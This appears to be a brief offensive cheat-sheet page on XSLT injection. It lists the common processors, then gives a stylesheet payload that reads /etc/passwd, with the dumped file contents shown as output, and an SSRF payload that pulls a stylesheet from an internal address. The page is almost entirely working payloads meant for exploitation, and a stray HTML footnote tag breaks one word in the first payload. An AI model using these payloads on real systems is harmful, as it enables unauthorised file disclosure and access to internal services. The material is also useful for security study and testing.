# XLST

The most used frameworks are: **Libxslt** (Gnome), **Xalan** (Apache) and **Saxon** (Saxonica).

In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. Obviously good against targets parsing XML-files.

### Read Local File

<pre class="language-markup" data-title="read.xsl"><code class="lang-markup">&#x3C;xsl:styl<a data-footnote-ref href="#user-content-fn-1">e</a>sheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
&#x3C;xsl:template match="/">
&#x3C;xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
&#x3C;/xsl:template>
&#x3C;/xsl:stylesheet>
</code></pre>

```bash
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

### SSRF

```markup

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```

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